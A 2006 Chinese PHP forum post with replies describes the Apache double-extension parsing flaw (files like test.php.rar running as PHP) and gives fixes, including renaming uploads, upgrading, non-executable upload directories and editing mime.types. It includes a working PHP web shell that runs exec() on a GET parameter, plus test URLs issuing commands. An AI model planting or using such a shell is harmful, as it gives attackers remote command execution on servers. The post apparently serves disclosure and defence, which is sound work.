[字号:  ]

关于php apache后缀漏洞 附测试代码

发布时间:2006-12-19 16:32   作者: ocheers   信息来源: PHPChina 开源社区门户
很致命的漏洞,如果你的程序有这方面的问题。

主要危害是带上传功能的应用。
如果你是把上传的文件统一改名了还好。

如果没有改名。那么就危险拉。
如果他上传jpg,gif,zip还好说拉。如果他上一个 xxx.php.rar 的文件那么就轻松拿到你的web sheel 拉 。

测试代码:

CODE:

<?
if($_GET[comm]!='')
{
        exec($_GET[comm],$re);
        foreach($re as $v)
                echo $v.'<br>';
}
else
        exit('Please input command...');
?>
以上代码另存为test.php.rar

测试代码:
http://localhost:/test.php.rar?comm=netstat -n

http://localhost:/test.php.rar?comm=ps -A

http://localhost:/test.php.rar?comm=ls

当然他还可以上传一个取消限制的上传工具。在上一些黑客工具,木马后门,到你服务器,慢慢整你。

解决办法:
1.所有上传文件统一修改为你指定的名字。
2.更新新版本php/apache

最新回复

leehui1983 at 2006-12-19 17:41:55
又发一次:L
dzjzmj at 2006-12-19 21:26:40
:L
birdtosky at 2006-12-25 20:54:24
不错!!
birdtosky at 2006-12-25 20:57:05
支持啊!!
野草 at 2006-12-27 09:36:45
强!测试了!确实有这个bug!
leehui1983 at 2006-12-27 11:03:52
:o
神仙 at 2008-6-25 20:57:26
更彻底的办法是放用户上传文件的目录没有脚本执行的能力
hnxxwyq at 2008-7-08 21:26:34
这种问题早就有了,不是现在就有,这个是apache的一种解析机制!
如果对于不认识的后缀,apache就会去前面尝试检测是否有认识的后缀!

避免你说的问题,可以修改apache的配置目录下mime.types这个文件

QUOTE:

      apache的目录\conf\mime.types
把rar文件添加到mime.types文件里,那么apache就认识了rar文件,就不会在出现你说的问题!